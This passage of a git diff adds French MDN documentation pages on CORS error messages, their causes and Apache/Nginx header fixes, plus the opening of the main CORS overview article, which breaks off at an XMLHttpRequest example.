+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html b/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html
new file mode 100644
index 0000000000..d18a0d1565
--- /dev/null
+++ b/files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html
@@ -0,0 +1,48 @@
+---
+title: 'Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.'
+slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Symptomes">Symptomes</h2>
+
+<pre class="syntaxbox notranslate"> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.</span></span></span> </pre>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.</p>
+
+<p>Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique <code>*</code>. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser <code>*</code>, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur <code>anonymous</code>.</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
+<p><strong>Attention:</strong> Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.</p>
+</div>
+
+<p>Pour autoriser n'importe quel site à faire des requêtes CORS <em>sans</em> utiliser le caractère générique <code>*</code> (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête <code>Origin</code> de la requête et l'utiliser dans <code>Access-Control-Allow-Origin</code>, tout en ajoutant une entête <code>Vary: Origin</code> pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.</p>
+
+<p>L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code>, ou <code>&lt;VirtualHost&gt;</code> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un <code>.conf</code> (<code>httpd.conf</code> et <code>apache.conf</code> sont les noms les plus communs) ou un fichier nommé <code>.htaccess</code>.</p>
+
+<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>Avec Nginx, la commande pour créer l'en-tête est :</p>
+
+<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre>
+
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li>
+ <li>Glossaire: {{Glossary("CORS")}}</li>
+ <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li>
+</ul>
diff --git a/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html b/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html
new file mode 100644
index 0000000000..fcaedad211
--- /dev/null
+++ b/files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html
@@ -0,0 +1,42 @@
+---
+title: >-
+  Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à «
+  xyz »
+slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas
+tags:
+  - CORSAllowOriginNeCorrespondPas
+  - Dépannage
+  - Erreur
+  - Raison
+  - Sécurité
+translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Symptomes">Symptomes</h2>
+
+<pre class="syntaxbox notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »</span></span></span></span></pre>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.</p>
+
+<p>Cette erreur peut également se produire si la réponse contient plus d'un en-tête <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête <code>Access-Control-Allow-Origin</code>, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.</p>
+
+<p>Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code>, ou <code>&lt;VirtualHost&gt;</code>). La configuration se trouve généralement dans un fichier <code>.conf</code> (<code>httpd.conf</code> et <code>apache.conf</code> sont des noms couramment attribués à ces fichiers), ou dans un fichier <code>.htaccess</code>.</p>
+
+<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>Pour Nginx, la commande pour mettre en place cet entête est :</p>
+
+<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li>
+ <li>Glossaire : {{Glossary("CORS")}}</li>
+ <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li>
+</ul>
diff --git a/files/fr/web/http/cors/errors/corsdesactive/index.html b/files/fr/web/http/cors/errors/corsdesactive/index.html
new file mode 100644
index 0000000000..d24896db89
--- /dev/null
+++ b/files/fr/web/http/cors/errors/corsdesactive/index.html
@@ -0,0 +1,30 @@
+---
+title: 'Raison: CORS désactiver'
+slug: Web/HTTP/CORS/Errors/CORSDesactive
+tags:
+  - CORS
+  - Erreurs
+  - HTTP
+  - HTTPS
+translation_of: Web/HTTP/CORS/Errors/CORSDisabled
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Raison">Raison</h2>
+
+<pre class="syntaxbox">Reason: CORS disabled
+(Raison : CORS désactivé)</pre>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une requête HTTP nécessitant le {{Glossary("CORS")}} a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.</p>
+
+<p>Pour Firefox, la préférence qui désactive le CORS est <code>content.cors.disable</code>. Définir cette préférence avec <code>true</code> désactive le CORS. Ainsi, dans ce cas, les demandes CORS échoueront toujours avec cette erreur.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Les erreurs CORS</a></li>
+ <li>Le terme {{Glossary("CORS")}} sur le glossaire</li>
+ <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li>
+</ul>
diff --git a/files/fr/web/http/cors/errors/corsnapasréussi/index.html b/files/fr/web/http/cors/errors/corsnapasréussi/index.html
new file mode 100644
index 0000000000..72a1788f81
--- /dev/null
+++ b/files/fr/web/http/cors/errors/corsnapasréussi/index.html
@@ -0,0 +1,34 @@
+---
+title: 'Raison: la requête CORS a échoué'
+slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi
+tags:
+  - CORS
+  - CORSDidNotSucceed
+  - Cross-Origin
+  - Erreur
+  - HTTP
+  - HTTPS
+  - Messages
+  - Raisons
+  - Sécurité
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Raison">Raison</h2>
+
+<pre class="syntaxbox">Raison: la requête CORS a échoué</pre>
+
+<h2 dir="ltr" id="Qu'est_ce_qui_ne_s'est_pas_bien_passé">Qu'est ce qui ne s'est pas bien passé ?</h2>
+
+<p>La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li>
+ <li>Grammaire: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introduction CORS</a></li>
+</ul>
diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.html b/files/fr/web/http/cors/errors/corsrequestnothttp/index.html
new file mode 100644
index 0000000000..62c13d99d3
--- /dev/null
+++ b/files/fr/web/http/cors/errors/corsrequestnothttp/index.html
@@ -0,0 +1,43 @@
+---
+title: 'Reason: CORS request not HTTP'
+slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+tags:
+  - CORS
+  - CORSRequestNotHttp
+  - Cross-Origin
+  - Dépannage
+  - Erreur
+  - HTTP
+  - HTTPS
+  - Messages
+  - Raisons
+  - Sécurité
+  - console
+translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Raison">Raison</h2>
+
+<pre class="syntaxbox notranslate"> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">Raison : la requête CORS n’utilise pas http.</span></span></span></span></pre>
+
+<h2 id="Quest_ce_qui_na_pas_fonctionné">Qu'est ce qui n'a pas fonctionné ?</h2>
+
+<p>Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme <code>file:///</code>.</p>
+
+<p>Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> APIs, Web Fonts (<code>@font-face</code>), <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>, et des stylesheets XSL.</p>
+
+<h3 id="Sécurité_des_fichiers_locaux_dans_Firefox_68">Sécurité des fichiers locaux dans Firefox 68</h3>
+
+<p>Lorsqu'un utilisateur ouvrait une page en utilisant un URI <code>file:///</code> dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS.</p>
+
+<p>En réponse au <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>, Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI <code>file:///</code> comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence <code>privacy.file_unique_origin</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erreurs liées à CORS</a></li>
+ <li>Glossaire: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introduction à CORS</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">C'est quoi une URL?</a></li>
+</ul>
diff --git a/files/fr/web/http/cors/errors/index.html b/files/fr/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..30bb82d87f
--- /dev/null
+++ b/files/fr/web/http/cors/errors/index.html
@@ -0,0 +1,79 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) </span>est une norme qui permet à un serveur d'assouplir la <a href="/en-US/docs/Web/Security/Same-origin_policy">politique de même origine</a>.<span class="seoSummary"> </span></p>
+
+<p>Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre.</p>
+
+
+
+<p>Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> (<code>"Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite"</code> en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir.</p>
+
+<h2 id="Identifier_le_problème">Identifier le problème</h2>
+
+<p>Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus:</p>
+
+<ol>
+ <li>Rendez-vous sur le site défaillant et ouvrez les <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Essayez de reproduir la requête qui échoue et vérifiez la <a href="/en-US/docs/Tools/Web_Console">console</a> pour trouver les messages de violation CORS, ce qui tournerait autours de:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>Le text de l'erreur sera probablement similaire à:</p>
+
+<pre class="notranslate">Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> Pour des raisons de sécurité, il <em>est impossible</em> d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger.</span></span></span></p>
+</div>
+
+<h2 id="Messages_derreur_CORS">Messages d'erreur CORS</h2>
+
+<p>Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Raison: CORS désactivé</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Raison: la requête CORS a échoué</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Raison: l'en-tête CORS ‘Origin’ ne peut pas être ajouté</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Raison: Requête CORS redirection externe non autorisée</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Raison: Requête CORS non http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Raison: En-tête CORS ‘Access-Control-Allow-Origin’ manquant</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Raison: l'en-tête CORS ‘Access-Control-Allow-Origin’ ne correspond pas à ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Raison: les informations d'identification ne sont pas prises en charge si l'en-tête CORS ‘Access-Control-Allow-Origin’ est ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Raison: Méthode introuvable dans l'en-tête CORS 'Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Raison: ‘true’ attendu dans l'en-tête CORS ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Raison: Échec du canal de contrôle en amont CORS</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Raison: jeton ‘xyz’ manquant dans l'en-tête CORS ‘Access-Control-Allow-Headers’ du canal de contrôle en amont CORS</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Raison: plusieurs en-têtes CORS ‘Access-Control-Allow-Origin’ ne sont pas autorisés</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Glossaire: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Paramètres CORS côté serveur</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">Image compatible CORS</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">Attributs des paramètres CORS</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – une page pour tester les requêtes CORS</li>
+</ul>
diff --git a/files/fr/web/http/cors/index.html b/files/fr/web/http/cors/index.html
new file mode 100644
index 0000000000..5077a9a989
--- /dev/null
+++ b/files/fr/web/http/cors/index.html
@@ -0,0 +1,561 @@
+---
+title: Cross-origin resource sharing (CORS)
+slug: Web/HTTP/CORS
+tags:
+  - AJAX
+  - CORS
+  - HTTP
+  - Same-origin policy
+  - XMLHttpRequest
+  - cross-site
+translation_of: Web/HTTP/CORS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le «  <em>Cross-origin resource sharing</em> » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP <strong>multi-origine (<em>cross-origin</em>)</strong> lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante.</p>
+
+<p>Prenons un exemple de requête multi-origine : une page HTML est servie depuis <code>http://domaine-a.com</code> contient un élément <code><a href="/fr/docs/Web/HTML/Element/Img#attr-src">&lt;img&gt; src</a></code> ciblant <code>http://domaine-b.com/image.jpg</code>. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (<em>Content Delivery Network</em> en anglais ou « Réseau de diffusion de contenu »).</p>
+
+<p>Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'<a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> respectent la règle <a href="/en-US/docs/Web/Security/Same-origin_policy">d'origine unique</a>. Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png"></p>
+
+<p>Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou <code><a href="/fr/docs/Web/API/Fetch_API">Fetch</a></code> pour aider à réduire les risques de requêtes HTTP multi-origines.</p>
+
+<h2 id="À_qui_est_destiné_cet_article">À qui est destiné cet article ?</h2>
+
+<p>Cet article est destiné à toutes et à tous.</p>
+
+<p>Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple <a href="/fr/docs/Web/HTTP/Server-Side_Access_Control">cet article utilisant des fragments de code PHP</a>).</p>
+
+<h2 id="Quelles_requêtes_utilisent_le_CORS">Quelles requêtes utilisent le CORS ?</h2>
+
+<p>Le <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">standard CORS</a> est utilisé afin de permettre les requêtes multi-origines pour :</p>
+
+<ul>
+ <li>L'utilisation des API {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a></li>
+ <li>Les polices web (pour récupérer des polices provenant d'autres origines lorsqu'on utilise {{cssxref("@font-face")}} en CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">afin que les serveurs puissent déployer des polices TrueType uniquement chargées en <em>cross-site</em> et utilisées par les sites web qui l'autorisent</a></li>
+ <li><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL">Les textures WebGL</a></li>
+ <li>Les <em>frames</em> (images ou vidéo) dessinées sur un canevas avec <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code></li>
+ <li>Les feuilles de style (pour les accès <a href="/fr/docs/Web/CSS/CSSOM_View">CSSOM</a>)</li>
+ <li>Les scripts (pour les exceptions non silencieuses (<em>unmuted exceptions</em>)).</li>
+</ul>
+
+<p>Cet article propose un aperçu général de <em>Cross-Origin Resource Sharing</em> ainsi qu'un aperçu des en-têtes HTTP nécessaires.</p>
+
+<h2 id="Aperçu_fonctionnel">Aperçu fonctionnel</h2>
+
+<p>Le standard CORS fonctionne grâce à l'ajout de nouveaux <a href="/fr/docs/Web/HTTP/Headers">en-têtes HTTP</a> qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a>), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« <em>preflight request</em> ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des <a href="/fr/docs/Web/HTTP/Cookies">cookies</a> ou des données d'authentification HTTP) avec les requêtes.</p>
+
+<p>Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés.</p>
+
+<h2 id="Exemples_de_scénarios_pour_le_contrôle_daccès">Exemples de scénarios pour le contrôle d'accès</h2>
+
+<p>Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité).</p>
+
+<p>Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site.</p>
+
+<p>Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article <a class="internal" href="/fr/docs/Web/HTTP/Server-Side_Access_Control">Contrôle d'accès côté serveur</a>.</p>
+
+<h3 id="Requêtes_simples"><a id="simples" name="simples">Requêtes simples</a></h3>
+
+<p>Certaines requêtes ne nécessitent pas de <a href="#preflight">requête CORS préliminaire</a>. Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes :</p>
+
+<ul>
+ <li>Les seules méthodes autorisées sont :
+  <ul>
+   <li>{{HTTPMethod("GET")}}</li>
+   <li>{{HTTPMethod("HEAD")}}</li>
+   <li>{{HTTPMethod("POST")}}</li>
+  </ul>
+ </li>
+ <li>En dehors des en-têtes paramétrés automatiquement par l'agent utilisateur (tels que {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">tout autre en-tête dont le nom fait partie de la spécification Fetch comme « nom d'en-tête interdit »</a>), les seuls en-têtes qui peuvent être paramétrés manuellement sont, selon <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">la spécification</a> :
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)</li>
+   <li>{{HTTPHeader("Last-Event-ID")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li>Les seules valeurs autorisées pour l'en-tête {{HTTPHeader("Content-Type")}} sont :
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li>Aucun gestionnaire d'évènement n'est enregistré sur aucun des objets {{domxref("XMLHttpRequestUpload")}} utilisés pour la requête, on y accède via la propriété {{domxref("XMLHttpRequest.upload")}}.</li>
+ <li>Aucun objet {{domxref("ReadableStream")}} n'est utilisé dans la requête.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.</div>
+
+<div class="note"><strong>Note :</strong> WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></em>, <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> et <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.</div>
+
+<p>Si, par exemple, on a un contenu web situé sous le domaine <code class="plain">http://toto.example</code> qui souhaite invoquer du contenu situé sous le domaine <code class="plain">http://truc.autre</code>, on pourrait utiliser du code JavaScript semblable à ce qui suit sur <code>toto.example</code> :</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://truc.autre/resources/public-data/';
+
